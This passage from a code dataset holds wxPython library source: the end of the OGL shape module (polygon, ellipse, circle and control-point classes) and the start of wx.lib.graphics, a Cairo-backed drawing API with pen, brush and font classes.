self.GetAttachmentPositionEdge(i)\n if e:\n xp, yp = e\n l = math.sqrt((xp - x) * (xp - x) + (yp - y) * (yp - y))\n if l < nearest:\n nearest = l\n nearest_attachment = i\n\n return nearest_attachment, nearest\n\n # Really need to be able to reset the shape! Otherwise, if the\n # points ever go to zero, we've lost it, and can't resize.\n def SetSize(self, new_width, new_height, recursive = True):\n self.SetAttachmentSize(new_width, new_height)\n\n # Multiply all points by proportion of new size to old size\n x_proportion = abs(float(new_width) / self._originalWidth)\n y_proportion = abs(float(new_height) / self._originalHeight)\n\n for i in range(max(len(self._points), len(self._originalPoints))):\n self._points[i] = wx.Point(self._originalPoints[i][0] * x_proportion, self._originalPoints[i][1] * y_proportion)\n\n self._boundWidth = abs(new_width)\n self._boundHeight = abs(new_height)\n self.SetDefaultRegionSize()\n\n # Make the original points the same as the working points\n def UpdateOriginalPoints(self):\n \"\"\"If we've changed the shape, must make the original points match the\n working points with this function.\n \"\"\"\n self._originalPoints = []\n\n for point in self._points:\n original_point = wx.RealPoint(point[0], point[1])\n self._originalPoints.append(original_point)\n\n self.CalculateBoundingBox()\n self._originalWidth = self._boundWidth\n self._originalHeight = self._boundHeight\n\n def AddPolygonPoint(self, pos):\n \"\"\"Add a control point after the given point.\"\"\"\n try:\n firstPoint = self._points[pos]\n except ValueError:\n firstPoint = self._points[0]\n\n try:\n secondPoint = self._points[pos + 1]\n except ValueError:\n secondPoint = self._points[0]\n\n x = (secondPoint[0] - firstPoint[0]) / 2.0 + firstPoint[0]\n y = (secondPoint[1] - firstPoint[1]) / 2.0 + firstPoint[1]\n point = wx.RealPoint(x, y)\n\n if pos >= len(self._points) - 1:\n self._points.append(point)\n else:\n self._points.insert(pos + 1, point)\n\n self.UpdateOriginalPoints()\n\n if self._selected:\n self.DeleteControlPoints()\n self.MakeControlPoints()\n\n def DeletePolygonPoint(self, pos):\n \"\"\"Delete the given control point.\"\"\"\n if pos < len(self._points):\n del self._points[pos]\n self.UpdateOriginalPoints()\n if self._selected:\n self.DeleteControlPoints()\n self.MakeControlPoints()\n\n # Assume (x1, y1) is centre of box (most generally, line end at box)\n def GetPerimeterPoint(self, x1, y1, x2, y2):\n # First check for situation where the line is vertical,\n # and we would want to connect to a point on that vertical --\n # oglFindEndForPolyline can't cope with this (the arrow\n # gets drawn to the wrong place).\n if self._attachmentMode == ATTACHMENT_MODE_NONE and x1 == x2:\n # Look for the point we'd be connecting to. This is\n # a heuristic...\n for point in self._points:\n if point[0] == 0:\n if y2 > y1 and point[1] > 0:\n return point[0] + self._xpos, point[1] + self._ypos\n elif y2 < y1 and point[1] < 0:\n return point[0] + self._xpos, point[1] + self._ypos\n\n xpoints = []\n ypoints = []\n for point in self._points:\n xpoints.append(point[0] + self._xpos)\n ypoints.append(point[1] + self._ypos)\n\n return FindEndForPolyline(xpoints, ypoints, x1, y1, x2, y2)\n\n def OnDraw(self, dc):\n if self._shadowMode != SHADOW_NONE:\n if self._shadowBrush:\n dc.SetBrush(self._shadowBrush)\n dc.SetPen(TransparentPen)\n\n dc.DrawPolygon(self._points, self._xpos + self._shadowOffsetX, self._ypos, self._shadowOffsetY)\n\n if self._pen:\n if self._pen.GetWidth() == 0:\n dc.SetPen(TransparentPen)\n else:\n dc.SetPen(self._pen)\n if self._brush:\n dc.SetBrush(self._brush)\n dc.DrawPolygon(self._points, self._xpos, self._ypos)\n\n def OnDrawOutline(self, dc, x, y, w, h):\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n # Multiply all points by proportion of new size to old size\n x_proportion = abs(float(w) / self._originalWidth)\n y_proportion = abs(float(h) / self._originalHeight)\n\n intPoints = []\n for point in self._originalPoints:\n intPoints.append(wx.Point(x_proportion * point[0], y_proportion * point[1]))\n dc.DrawPolygon(intPoints, x, y)\n\n # Make as many control points as there are vertices\n def MakeControlPoints(self):\n for point in self._points:\n control = PolygonControlPoint(self._canvas, self, CONTROL_POINT_SIZE, point, point[0], point[1])\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n def ResetControlPoints(self):\n for i in range(min(len(self._points), len(self._controlPoints))):\n point = self._points[i]\n self._controlPoints[i]._xoffset = point[0]\n self._controlPoints[i]._yoffset = point[1]\n self._controlPoints[i].polygonVertex = point\n\n def GetNumberOfAttachments(self):\n maxN = max(len(self._points) - 1, 0)\n for point in self._attachmentPoints:\n if point._id > maxN:\n maxN = point._id\n return maxN + 1\n\n def GetAttachmentPosition(self, attachment, nth = 0, no_arcs = 1, line = None):\n if self._attachmentMode == ATTACHMENT_MODE_EDGE and self._points and attachment < len(self._points):\n point = self._points[0]\n return point[0] + self._xpos, point[1] + self._ypos\n return Shape.GetAttachmentPosition(self, attachment, nth, no_arcs, line)\n\n def AttachmentIsValid(self, attachment):\n if not self._points:\n return False\n\n if attachment >= 0 and attachment < len(self._points):\n return True\n\n for point in self._attachmentPoints:\n if point._id == attachment:\n return True\n\n return False\n\n # Rotate about the given axis by the given amount in radians\n def Rotate(self, x, y, theta):\n actualTheta = theta - self._rotation\n\n # Rotate attachment points\n sinTheta = math.sin(actualTheta)\n cosTheta = math.cos(actualTheta)\n\n for point in self._attachmentPoints:\n x1 = point._x\n y1 = point._y\n\n point._x = x1 * cosTheta - y1 * sinTheta + x * (1 - cosTheta) + y * sinTheta\n point._y = x1 * sinTheta + y1 * cosTheta + y * (1 - cosTheta) + x * sinTheta\n\n for i in range(len(self._points)):\n x1, y1 = self._points[i]\n\n self._points[i] = x1 * cosTheta - y1 * sinTheta + x * (1 - cosTheta) + y * sinTheta, x1 * sinTheta + y1 * cosTheta + y * (1 - cosTheta) + x * sinTheta\n\n for i in range(len(self._originalPoints)):\n x1, y1 = self._originalPoints[i]\n\n self._originalPoints[i] = x1 * cosTheta - y1 * sinTheta + x * (1 - cosTheta) + y * sinTheta, x1 * sinTheta + y1 * cosTheta + y * (1 - cosTheta) + x * sinTheta\n\n # Added by <NAME>. If we don't do this the outline will be\n # the wrong size. Hopefully it won't have any ill effects.\n self.UpdateOriginalPoints()\n \n self._rotation = theta\n\n self.CalculatePolygonCentre()\n self.CalculateBoundingBox()\n self.ResetControlPoints()\n\n # Control points ('handles') redirect control to the actual shape, to\n # make it easier to override sizing behaviour.\n def OnSizingDragLeft(self, pt, draw, x, y, keys = 0, attachment = 0):\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n\n dc.SetLogicalFunction(OGLRBLF)\n\n dottedPen = wx.Pen(wx.Colour(0, 0, 0), 1, wx.DOT)\n dc.SetPen(dottedPen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n # Code for CTRL-drag in C++ version commented out\n \n pt.CalculateNewSize(x, y)\n\n self.GetEventHandler().OnDrawOutline(dc, self.GetX(), self.GetY(), pt.GetNewSize()[0], pt.GetNewSize()[1])\n\n def OnSizingBeginDragLeft(self, pt, x, y, keys = 0, attachment = 0):\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n\n self.Erase(dc)\n \n dc.SetLogicalFunction(OGLRBLF)\n\n bound_x, bound_y = self.GetBoundingBoxMin()\n\n dist = math.sqrt((x - self.GetX()) * (x - self.GetX()) + (y - self.GetY()) * (y - self.GetY()))\n\n pt._originalDistance = dist\n pt._originalSize[0] = bound_x\n pt._originalSize[1] = bound_y\n\n if pt._originalDistance == 0:\n pt._originalDistance = 0.0001\n\n dottedPen = wx.Pen(wx.Colour(0, 0, 0), 1, wx.DOT)\n dc.SetPen(dottedPen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n # Code for CTRL-drag in C++ version commented out\n\n pt.CalculateNewSize(x, y)\n\n self.GetEventHandler().OnDrawOutline(dc, self.GetX(), self.GetY(), pt.GetNewSize()[0], pt.GetNewSize()[1])\n\n self._canvas.CaptureMouse()\n\n def OnSizingEndDragLeft(self, pt, x, y, keys = 0, attachment = 0):\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n\n if self._canvas.HasCapture():\n self._canvas.ReleaseMouse()\n dc.SetLogicalFunction(wx.COPY)\n\n # If we're changing shape, must reset the original points\n if keys & KEY_CTRL:\n self.CalculateBoundingBox()\n self.CalculatePolygonCentre()\n else:\n self.SetSize(pt.GetNewSize()[0], pt.GetNewSize()[1])\n\n self.Recompute()\n self.ResetControlPoints()\n self.Move(dc, self.GetX(), self.GetY())\n if not self._canvas.GetQuickEditMode():\n self._canvas.Redraw(dc)\n\n\n\nclass EllipseShape(Shape):\n \"\"\"The EllipseShape behaves similarly to the RectangleShape but is\n elliptical.\n\n Derived from:\n wxShape\n \"\"\"\n def __init__(self, w, h):\n Shape.__init__(self)\n self._width = w\n self._height = h\n self.SetDefaultRegionSize()\n\n def GetBoundingBoxMin(self):\n return self._width, self._height\n\n def GetPerimeterPoint(self, x1, y1, x2, y2):\n bound_x, bound_y = self.GetBoundingBoxMax()\n\n return DrawArcToEllipse(self._xpos, self._ypos, bound_x, bound_y, x2, y2, x1, y1)\n\n def GetWidth(self):\n return self._width\n\n def GetHeight(self):\n return self._height\n\n def SetWidth(self, w):\n self._width = w\n\n def SetHeight(self, h):\n self._height = h\n \n def OnDraw(self, dc):\n if self._shadowMode != SHADOW_NONE:\n if self._shadowBrush:\n dc.SetBrush(self._shadowBrush)\n dc.SetPen(TransparentPen)\n dc.DrawEllipse(self._xpos - self.GetWidth() / 2.0 + self._shadowOffsetX,\n self._ypos - self.GetHeight() / 2.0 + self._shadowOffsetY,\n self.GetWidth(), self.GetHeight())\n\n if self._pen:\n if self._pen.GetWidth() == 0:\n dc.SetPen(TransparentPen)\n else:\n dc.SetPen(self._pen)\n if self._brush:\n dc.SetBrush(self._brush)\n dc.DrawEllipse(self._xpos - self.GetWidth() / 2.0, self._ypos - self.GetHeight() / 2.0, self.GetWidth(), self.GetHeight())\n\n def SetSize(self, x, y, recursive = True):\n self.SetAttachmentSize(x, y)\n self._width = x\n self._height = y\n self.SetDefaultRegionSize()\n\n def GetNumberOfAttachments(self):\n return Shape.GetNumberOfAttachments(self)\n\n # There are 4 attachment points on an ellipse - 0 = top, 1 = right,\n # 2 = bottom, 3 = left.\n def GetAttachmentPosition(self, attachment, nth = 0, no_arcs = 1, line = None):\n if self._attachmentMode == ATTACHMENT_MODE_BRANCHING:\n return Shape.GetAttachmentPosition(self, attachment, nth, no_arcs, line)\n\n if self._attachmentMode != ATTACHMENT_MODE_NONE:\n top = self._ypos + self._height / 2.0\n bottom = self._ypos - self._height / 2.0\n left = self._xpos - self._width / 2.0\n right = self._xpos + self._width / 2.0\n\n physicalAttachment = self.LogicalToPhysicalAttachment(attachment)\n\n if physicalAttachment == 0:\n if self._spaceAttachments:\n x = left + (nth + 1) * self._width / (no_arcs + 1.0)\n else:\n x = self._xpos\n y = top\n # We now have the point on the bounding box: but get the point\n # on the ellipse by imagining a vertical line from\n # (x, self._ypos - self._height - 500) to (x, self._ypos) intersecting\n # the ellipse.\n\n return DrawArcToEllipse(self._xpos, self._ypos, self._width, self._height, x, self._ypos - self._height - 500, x, self._ypos)\n elif physicalAttachment == 1:\n x = right\n if self._spaceAttachments:\n y = bottom + (nth + 1) * self._height / (no_arcs + 1.0)\n else:\n y = self._ypos\n return DrawArcToEllipse(self._xpos, self._ypos, self._width, self._height, self._xpos + self._width + 500, y, self._xpos, y)\n elif physicalAttachment == 2:\n if self._spaceAttachments:\n x = left + (nth + 1) * self._width / (no_arcs + 1.0)\n else:\n x = self._xpos\n y = bottom\n return DrawArcToEllipse(self._xpos, self._ypos, self._width, self._height, x, self._ypos + self._height + 500, x, self._ypos)\n elif physicalAttachment == 3:\n x = left\n if self._spaceAttachments:\n y = bottom + (nth + 1) * self._height / (no_arcs + 1.0)\n else:\n y = self._ypos\n return DrawArcToEllipse(self._xpos, self._ypos, self._width, self._height, self._xpos - self._width - 500, y, self._xpos, y)\n else:\n return Shape.GetAttachmentPosition(self, attachment, x, y, nth, no_arcs, line)\n else:\n return self._xpos, self._ypos\n\n\n\nclass CircleShape(EllipseShape):\n \"\"\"An EllipseShape whose width and height are the same.\"\"\"\n def __init__(self, diameter):\n EllipseShape.__init__(self, diameter, diameter)\n self.SetMaintainAspectRatio(True)\n\n def GetPerimeterPoint(self, x1, y1, x2, y2):\n return FindEndForCircle(self._width / 2.0, self._xpos, self._ypos, x2, y2)\n\n\n\nclass TextShape(RectangleShape):\n \"\"\"As wxRectangleShape, but only the text is displayed.\"\"\"\n def __init__(self, width, height):\n RectangleShape.__init__(self, width, height)\n\n def OnDraw(self, dc):\n pass\n\n\n\nclass ShapeRegion(object):\n \"\"\"Object region.\"\"\"\n def __init__(self, region = None):\n if region:\n self._regionText = region._regionText\n self._regionName = region._regionName\n self._textColour = region._textColour\n\n self._font = region._font\n self._minHeight = region._minHeight\n self._minWidth = region._minWidth\n self._width = region._width\n self._height = region._height\n self._x = region._x\n self._y = region._y\n\n self._regionProportionX = region._regionProportionX\n self._regionProportionY = region._regionProportionY\n self._formatMode = region._formatMode\n self._actualColourObject = region._actualColourObject\n self._actualPenObject = None\n self._penStyle = region._penStyle\n self._penColour = region._penColour\n\n self.ClearText()\n for line in region._formattedText:\n new_line = ShapeTextLine(line.GetX(), line.GetY(), line.GetText())\n self._formattedText.append(new_line)\n else:\n self._regionText = \"\"\n self._font = NormalFont\n self._minHeight = 5.0\n self._minWidth = 5.0\n self._width = 0.0\n self._height = 0.0\n self._x = 0.0\n self._y = 0.0\n\n self._regionProportionX = -1.0\n self._regionProportionY = -1.0\n self._formatMode = FORMAT_CENTRE_HORIZ | FORMAT_CENTRE_VERT\n self._regionName = \"\"\n self._textColour = \"BLACK\"\n self._penColour = \"BLACK\"\n self._penStyle = wx.SOLID\n self._actualColourObject = wx.TheColourDatabase.Find(\"BLACK\")\n self._actualPenObject = None\n\n self._formattedText = []\n\n def ClearText(self):\n self._formattedText = []\n\n def SetFont(self, f):\n self._font = f\n\n def SetMinSize(self, w, h):\n self._minWidth = w\n self._minHeight = h\n\n def SetSize(self, w, h):\n self._width = w\n self._height = h\n\n def SetPosition(self, xp, yp):\n self._x = xp\n self._y = yp\n\n def SetProportions(self, xp, yp):\n self._regionProportionX = xp\n self._regionProportionY = yp\n\n def SetFormatMode(self, mode):\n self._formatMode = mode\n\n def SetColour(self, col):\n self._textColour = col\n self._actualColourObject = col\n\n def GetActualColourObject(self):\n self._actualColourObject = wx.TheColourDatabase.Find(self.GetColour())\n return self._actualColourObject\n\n def SetPenColour(self, col):\n self._penColour = col\n self._actualPenObject = None\n\n # Returns NULL if the pen is invisible\n # (different to pen being transparent; indicates that\n # region boundary should not be drawn.)\n def GetActualPen(self):\n if self._actualPenObject:\n return self._actualPenObject\n\n if not self._penColour:\n return None\n if self._penColour==\"Invisible\":\n return None\n self._actualPenObject = wx.Pen(self._penColour, 1, self._penStyle)\n return self._actualPenObject\n\n def SetText(self, s):\n self._regionText = s\n\n def SetName(self, s):\n self._regionName = s\n\n def GetText(self):\n return self._regionText\n\n def GetFont(self):\n return self._font\n\n def GetMinSize(self):\n return self._minWidth, self._minHeight\n\n def GetProportion(self):\n return self._regionProportionX, self._regionProportionY\n\n def GetSize(self):\n return self._width, self._height\n\n def GetPosition(self):\n return self._x, self._y\n\n def GetFormatMode(self):\n return self._formatMode\n\n def GetName(self):\n return self._regionName\n\n def GetColour(self):\n return self._textColour\n\n def GetFormattedText(self):\n return self._formattedText\n\n def GetPenColour(self):\n return self._penColour\n\n def GetPenStyle(self):\n return self._penStyle\n\n def SetPenStyle(self, style):\n self._penStyle = style\n self._actualPenObject = None\n\n def GetWidth(self):\n return self._width\n\n def GetHeight(self):\n return self._height\n\n\n\nclass ControlPoint(RectangleShape):\n def __init__(self, theCanvas, object, size, the_xoffset, the_yoffset, the_type):\n RectangleShape.__init__(self, size, size)\n\n self._canvas = theCanvas\n self._shape = object\n self._xoffset = the_xoffset\n self._yoffset = the_yoffset\n self._type = the_type\n self.SetPen(BlackForegroundPen)\n self.SetBrush(wx.BLACK_BRUSH)\n self._oldCursor = None\n self._visible = True\n self._eraseObject = True\n \n # Don't even attempt to draw any text - waste of time\n def OnDrawContents(self, dc):\n pass\n\n def OnDraw(self, dc):\n self._xpos = self._shape.GetX() + self._xoffset\n self._ypos = self._shape.GetY() + self._yoffset\n RectangleShape.OnDraw(self, dc)\n\n def OnErase(self, dc):\n RectangleShape.OnErase(self, dc)\n\n # Implement resizing of canvas object\n def OnDragLeft(self, draw, x, y, keys = 0, attachment = 0):\n self._shape.GetEventHandler().OnSizingDragLeft(self, draw, x, y, keys, attachment)\n\n def OnBeginDragLeft(self, x, y, keys = 0, attachment = 0):\n self._shape.GetEventHandler().OnSizingBeginDragLeft(self, x, y, keys, attachment)\n\n def OnEndDragLeft(self, x, y, keys = 0, attachment = 0):\n self._shape.GetEventHandler().OnSizingEndDragLeft(self, x, y, keys, attachment)\n\n def GetNumberOfAttachments(self):\n return 1\n\n def GetAttachmentPosition(self, attachment, nth = 0, no_arcs = 1, line = None):\n return self._xpos, self._ypos\n\n def SetEraseObject(self, er):\n self._eraseObject = er\n\n \nclass PolygonControlPoint(ControlPoint):\n def __init__(self, theCanvas, object, size, vertex, the_xoffset, the_yoffset):\n ControlPoint.__init__(self, theCanvas, object, size, the_xoffset, the_yoffset, 0)\n self._polygonVertex = vertex\n self._originalDistance = 0.0\n self._newSize = wx.RealPoint()\n self._originalSize = wx.RealPoint()\n\n def GetNewSize(self):\n return self._newSize\n \n # Calculate what new size would be, at end of resize\n def CalculateNewSize(self, x, y):\n bound_x, bound_y = self.GetShape().GetBoundingBoxMax()\n dist = math.sqrt((x - self._shape.GetX()) * (x - self._shape.GetX()) + (y - self._shape.GetY()) * (y - self._shape.GetY()))\n\n self._newSize[0] = dist / self._originalDistance * self._originalSize[0]\n self._newSize[1] = dist / self._originalDistance * self._originalSize[1]\n\n # Implement resizing polygon or moving the vertex\n def OnDragLeft(self, draw, x, y, keys = 0, attachment = 0):\n self._shape.GetEventHandler().OnSizingDragLeft(self, draw, x, y, keys, attachment)\n\n def OnBeginDragLeft(self, x, y, keys = 0, attachment = 0):\n self._shape.GetEventHandler().OnSizingBeginDragLeft(self, x, y, keys, attachment)\n\n def OnEndDragLeft(self, x, y, keys = 0, attachment = 0):\n self._shape.GetEventHandler().OnSizingEndDragLeft(self, x, y, keys, attachment)\n\nfrom _canvas import *\nfrom _lines import *\nfrom _composit import *\n", "id": "5299870", "language": "Python", "matching_score": 4.515257358551025, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/ogl/_basic.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.lib.graphics\n# Purpose: A wx.GraphicsContext-like API implemented using wx.lib.wxcairo\n#\n# Author: <NAME>\n#\n# Created: 15-Sept-2008\n# RCS-ID: $Id: graphics.py 63527 2010-02-19 22:40:57Z RD $\n# Copyright: (c) 2008 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\n\"\"\"\nThis module implements an API similar to wx.GraphicsContext and the\nrelated classes. In this case the implementation for all platforms is\ndone using Cairo, via the wx.lib.wxcairo glue module.\n\nWhy do this? Why not just use wx.GraphicsContext everywhere? Using\nCairo on every platform enables us to more easily be totally\nconsistent on all platforms. Implementing it in Python means that it\nis easy to fill in the gaps in functionality with features of Cairo\nthat GraphicsContext may not provide, like converting text to a path,\nusing compositing operators, or being able to provide an\nimplementation for things like context.Clear().\n\nWhy not just use Cairo directly? There may be times when you do want\nto use wx.GrpahicsContext, so being able to share code between that\nand this implementation is nice. Also, I like the class hierarchy and\nAPI exposed by the wx.GraphicsContext classes a little better than\nCairo's.\n\"\"\"\n\nimport cairo\nimport math\n\nimport wx\nimport wx.lib.wxcairo\n\n\n\n# Other ideas:\n# 1. TextToPath (or maybe make this part of the Path class\n# 2. Be able to add additional color stops to gradients. Or maybe a GraphicsGradient or GraphicsPattern class\n# 3. Relative moves, lines, curves, etc.\n# 5. maybe expose cairo_paint, cairo_paint_with_alpha, cairo_mask?\n\n#---------------------------------------------------------------------------\n# Image surface formats\n\nFORMAT_ARGB32 = cairo.FORMAT_ARGB32\nFORMAT_RGB24 = cairo.FORMAT_RGB24\nFORMAT_A8 = cairo.FORMAT_A8\nFORMAT_A1 = cairo.FORMAT_A1\n\n\n#---------------------------------------------------------------------------\n# Compositing operators. See http://cairographics.org/operators\n\n# clear destination layer (bounded)\nOPERATOR_CLEAR = cairo.OPERATOR_CLEAR \n\n# replace destination layer (bounded)\nOPERATOR_SOURCE = cairo.OPERATOR_SOURCE \n\n# draw source layer on top of destination layer (bounded)\nOPERATOR_OVER = cairo.OPERATOR_OVER \n\n# draw source where there was destination content (unbounded)\nOPERATOR_IN = cairo.OPERATOR_IN \n\n# draw source where there was no destination content (unbounded)\nOPERATOR_OUT = cairo.OPERATOR_OUT \n\n# draw source on top of destination content and only there\nOPERATOR_ATOP = cairo.OPERATOR_ATOP \n\n# ignore the source\nOPERATOR_DEST = cairo.OPERATOR_DEST \n\n# draw destination on top of source\nOPERATOR_DEST_OVER = cairo.OPERATOR_DEST_OVER \n\n# leave destination only where there was source content (unbounded)\nOPERATOR_DEST_IN = cairo.OPERATOR_DEST_IN \n\n# leave destination only where there was no source content\nOPERATOR_DEST_OUT = cairo.OPERATOR_DEST_OUT \n\n# leave destination on top of source content and only there (unbounded)\nOPERATOR_DEST_ATOP = cairo.OPERATOR_DEST_ATOP \n\n# source and destination are shown where there is only one of them\nOPERATOR_XOR = cairo.OPERATOR_XOR \n\n# source and destination layers are accumulated\nOPERATOR_ADD = cairo.OPERATOR_ADD \n\n# like over, but assuming source and dest are disjoint geometries\nOPERATOR_SATURATE = cairo.OPERATOR_SATURATE \n\n\n\n#---------------------------------------------------------------------------\n# Anti-alias modes. Note that according to the Cairo docs none of the\n# current backends support the the SUBPIXEL mode.\n\n# Use the default antialiasing for the subsystem and target device\nANTIALIAS_DEFAULT = cairo.ANTIALIAS_DEFAULT \n\n# Use a bilevel alpha mask\nANTIALIAS_NONE = cairo.ANTIALIAS_NONE \n\n# Perform single-color antialiasing (using shades of gray for black\n# text on a white background, for example).\nANTIALIAS_GRAY = cairo.ANTIALIAS_GRAY \n\n# Perform antialiasing by taking advantage of the order of subpixel\n# elements on devices such as LCD panels\nANTIALIAS_SUBPIXEL = cairo.ANTIALIAS_SUBPIXEL \n\n\n\n#---------------------------------------------------------------------------\n# A decorator that makes creating properties a little cleaner and simpler\n\ndef Property( function ):\n return property( **function() )\n\n#---------------------------------------------------------------------------\n\nNullGraphicsPen = None\nNullGraphicsBrush = None\nNullGraphicsFont = None\nNullGraphicsMatrix = None\nNullGraphicsPath = None\n\n\nclass GraphicsObject(object):\n # This probably isn't needed at all anymore since we'll just use\n # None insead of the Null objects, but we'll keep it anyway in\n # case it's needed to help write compatible code.\n def IsNull(self):\n return False\n\n\n#---------------------------------------------------------------------------\n\nclass GraphicsPen(GraphicsObject):\n \"\"\"\n A Pen is used to define the properties of how a stroke is drawn.\n \"\"\"\n _capMap = { wx.CAP_BUTT : cairo.LINE_CAP_BUTT,\n wx.CAP_ROUND : cairo.LINE_CAP_ROUND,\n wx.CAP_PROJECTING : cairo.LINE_CAP_SQUARE }\n \n _joinMap = { wx.JOIN_BEVEL : cairo.LINE_JOIN_BEVEL,\n wx.JOIN_MITER : cairo.LINE_JOIN_MITER,\n wx.JOIN_ROUND : cairo.LINE_JOIN_ROUND }\n \n \n def __init__(self, colour=wx.BLACK, width=1, style=wx.SOLID):\n GraphicsObject.__init__(self)\n self._colour = _makeColour(colour)\n self._width = width\n self._style = style\n self._cap = wx.CAP_ROUND\n self._dashes = []\n self._join = wx.JOIN_ROUND\n self._stipple = None\n self._pattern = None\n \n\n @staticmethod\n def CreateFromPen(pen):\n \"\"\"Convert a wx.Pen to a GraphicsPen\"\"\"\n assert isinstance(pen, wx.Pen)\n p = GraphicsPen(pen.Colour, pen.Width, pen.Style)\n p._cap = pen.Cap\n p._dashes = pen.Dashes\n p._join = pen.Join\n return p\n\n\n @staticmethod\n def CreateFromPattern(pattern, width=1):\n \"\"\"\n Create a Pen directly from a Cairo Pattern object. This is\n similar to using a stipple bitmap, but saves a step, and\n patterns can include gradients, etc.\n \"\"\"\n p = GraphicsPen(wx.BLACK, width, wx.STIPPLE)\n p._pattern = pattern\n return p\n \n \n @Property\n def Colour():\n def fget(self):\n return self._colour\n def fset(self, value):\n self._colour = value\n return locals()\n\n @Property\n def Width():\n def fget(self):\n return self._width\n def fset(self, value):\n self._width = value\n return locals()\n\n @Property\n def Style():\n def fget(self):\n return self._style\n def fset(self, value):\n self._style = value\n return locals()\n\n @Property\n def Cap():\n def fget(self):\n return self._cap\n def fset(self, value):\n self._cap = value\n return locals()\n\n @Property\n def Dashes():\n def fget(self):\n return self._dashes\n def fset(self, value):\n self._dashes = value\n return locals()\n\n @Property\n def Join():\n def fget(self):\n return self._join\n def fset(self, value):\n self._join = value\n return locals()\n\n @Property\n def Stipple():\n def fget(self):\n return self._stipple\n def fset(self, value):\n self._stipple = value\n self._pattern = None\n return locals()\n\n @Property\n def Pattern():\n def fget(self):\n return self._pattern\n def fset(self, value):\n self._pattern = value\n return locals()\n\n\n \n def Apply(self, ctx):\n # set up the context with this pen's parameters\n ctx = ctx.GetNativeContext()\n ctx.set_line_width(self._width)\n ctx.set_line_cap(self._capMap[self._cap])\n ctx.set_line_join(self._joinMap[self._join])\n ctx.set_dash([])\n \n if self._style == wx.SOLID:\n ctx.set_source_rgba( *_colourToValues(self._colour) )\n \n elif self._style == wx.STIPPLE:\n if not self._pattern and self._stipple:\n # make a pattern from the stipple bitmap\n img = wx.lib.wxcairo.ImageSurfaceFromBitmap(self._stipple)\n self._pattern = cairo.SurfacePattern(img)\n self._pattern.set_extend(cairo.EXTEND_REPEAT)\n ctx.set_source(self._pattern)\n \n elif self._style == wx.USER_DASH:\n ctx.set_source_rgba( *_colourToValues(self._colour) )\n ctx.set_dash(self._dashes)\n \n elif self._style in [wx.DOT, wx.DOT_DASH, wx.LONG_DASH, wx.SHORT_DASH]:\n ctx.set_source_rgba( *_colourToValues(self._colour) )\n ctx.set_dash( _stdDashes(self._style, self._width) )\n \n elif self._style in [wx.BDIAGONAL_HATCH, wx.CROSSDIAG_HATCH, wx.FDIAGONAL_HATCH,\n wx.CROSS_HATCH, wx.HORIZONTAL_HATCH, wx.VERTICAL_HATCH]:\n pass # TODO make a stock pattern...\n \n \n#---------------------------------------------------------------------------\n\nclass GraphicsBrush(GraphicsObject):\n \"\"\"\n A Brush is used to define how fills are painted. They can have\n either a solid fill (colors with or without alpha), a stipple\n created from a wx.Bitmap, or a cairo Pattern object.\n \"\"\"\n \n def __init__(self, colour=wx.BLACK, style=wx.SOLID):\n self._colour = _makeColour(colour)\n self._style = style\n self._stipple = None\n self._pattern = None\n \n\n @staticmethod\n def CreateFromBrush(brush):\n \"\"\"Converts a wx.Brush to a GraphicsBrush\"\"\"\n assert isinstance(brush, wx.Brush)\n b = GraphicsBrush(brush.Colour, brush.Style)\n if brush.Style == wx.STIPPLE:\n b._stipple = brush.Stipple\n else:\n b._stipple = None\n return b\n\n\n @staticmethod\n def CreateFromPattern(pattern):\n \"\"\"\n Create a Brush directly from a Cairo Pattern object. This is\n similar to using a stipple bitmap, but saves a step, and\n patterns can include gradients, etc.\n \"\"\"\n b = GraphicsBrush(style=wx.STIPPLE)\n b._pattern = pattern\n return b\n\n\n @Property\n def Colour():\n def fget(self):\n return self._colour\n def fset(self, value):\n self._colour = value\n return locals()\n\n @Property\n def Style():\n def fget(self):\n return self._style\n def fset(self, value):\n self._style = value\n return locals()\n\n @Property\n def Stipple():\n def fget(self):\n return self._stipple\n def fset(self, value):\n self._stipple = value\n self._pattern = None\n return locals()\n\n\n @Property\n def Pattern():\n def fget(self):\n return self._pattern\n def fset(self, value):\n self._pattern = value\n return locals()\n\n\n def Apply(self, ctx):\n ctx = ctx.GetNativeContext()\n \n if self._style == wx.SOLID:\n ctx.set_source_rgba( *_colourToValues(self._colour) )\n\n elif self._style == wx.STIPPLE:\n if not self._pattern and self._stipple:\n # make a pattern from the stipple bitmap\n img = wx.lib.wxcairo.ImageSurfaceFromBitmap(self._stipple)\n self._pattern = cairo.SurfacePattern(img)\n self._pattern.set_extend(cairo.EXTEND_REPEAT)\n ctx.set_source(self._pattern)\n \n#---------------------------------------------------------------------------\n\nclass GraphicsFont(GraphicsObject):\n \"\"\"\n \"\"\"\n def __init__(self):\n # TODO: Should we be able to create a GrpahicsFont from other\n # properties, or will it always be via a wx.Font? What about\n # creating from a cairo.FontFace or cairo.ScaledFont?\n self._font = None\n self._colour = None\n self._pointSize = None\n self._fontface = None\n # To remain consistent with the GC API a color is associated\n # with the font, and nothing else. Since this is Cairo and\n # it's easy to do, we'll also allow a brush to be used...\n self._brush = None\n\n\n def IsNull(self):\n return self._font is None\n \n\n @staticmethod\n def CreateFromFont(font, colour=None):\n f = GraphicsFont()\n f._font = font\n f._colour = _makeColour(colour)\n f._pointSize = font.GetPointSize()\n f._fontface = wx.lib.wxcairo.FontFaceFromFont(font)\n return f\n\n\n @Property\n def Colour():\n def fget(self):\n return self._colour\n def fset(self, value):\n self._colour = value\n return locals()\n\n @Property\n def PointSize():\n def fget(self):\n return self._pointSize\n def fset(self, value):\n self._pointSize = value\n return locals()\n\n @Property\n def Brush():\n def fget(self):\n return self._brush\n def fset(self, value):\n self._brush = value\n return locals()\n\n\n def Apply(self, ctx, colour):\n nctx = ctx.GetNativeContext()\n if self._brush is not None:\n self._brush.Apply(ctx)\n else:\n if colour is None: colour = wx.BLACK\n nctx.set_source_rgba( *_colourToValues(colour) )\n nctx.set_font_face(self._fontface)\n 